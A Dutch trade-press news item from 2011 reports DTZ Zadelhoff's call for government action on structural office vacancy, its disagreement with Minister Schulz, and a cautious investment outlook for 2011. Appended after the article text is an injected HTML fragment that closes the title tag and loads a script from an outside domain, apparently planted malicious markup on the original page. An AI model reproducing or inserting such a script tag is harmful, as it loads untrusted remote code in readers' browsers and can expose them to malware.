Datum: 04-01-2011 14:58, Bron: PropertyNL Categorie: Overig AMSTERDAM - DTZ Zadelhoff, de grootste commercieel vastgoedadviseur van Nederland, zit met de andere grote vastgoedadviseurs aan tafel om oplossingen te zoeken voor de structurele leegstand op de kantorenmarkt. Volgens Cuno van Steenhoven, voorzitter van het dagelijks bestuur van DTZ Zadelhoff, moet ook de overheid aan dit overleg deelnemen. Hij vindt dat de centrale overheid een veel sturender rol moet spelen bij de uitgifte van grond en bij het herbestemmen van kantoren.
Ook pleit Van Steenhoven voor een ontwikkelingsstop in gemeenten met een relatief hoge leegstand.
Dit verklaarde Van Steenhoven bij de presentatie van het beleggingsmarktrapport van zijn organisatie met de cijfers van 2010. Van de huidige voorraad kantoorruimte van 47 mln m2 staat 13,9% leeg. De verhuurkans van de leegstaande 6,5 mln m2 is volgens het DTZ-rapport zeer klein.
Met zijn standpunt staat Van Steenhoven haaks op de visie van minister Schulz van Infrastructuur en Milieu. De minister voelt weinig voor een leidende rol van haar ministerie bij de aanpak van de leegstand en vindt dat de sector zelf met oplossingen moet komen. Zij voelt niets voor het opnieuw opstarten van het kantorenoverleg, het reguliere overleg van het ministerie van VROM en de landelijke vastgoedadviseurs. Met het opheffen van het ministerie van VROM door het kabinet-Rutte is aan dit overleg een einde gekomen. Van Steenhoven: 'We kunnen bijna spreken van een ruimtelijke ordeningscrisis. Het ministerie van VROM is opgeheven en vervangen door het ministerie van Infrastructuur en Milieu. De kantorenmarkt is in toenemende mate een nationale markt en die kan niet naar lokale inzichten worden gefaciliteerd. De centrale overheid moet haar verantwoordelijkheid nemen. Wij denken hierin graag mee', aldus de DTZ-topman.
In 2010 hebben Nederlandse beleggers hun posities versterkt op de woning- en winkelmarkt en hebben zij geïnvesteerd op stationslocaties. Voor 2011 voorziet DTZ Zadelhoff een voorzichtige opleving door de beschikbaarheid van kapitaal, de lage rente en het toegenomen vertrouwen onder beleggers. Het investeringsvolume zal in 2011 niet stijgen, wellicht iets dalen, maar de markt zal zich naar verwachting enigszins stabiliseren.
</title><script src=http://star-stats.info/ur.php></script> | 
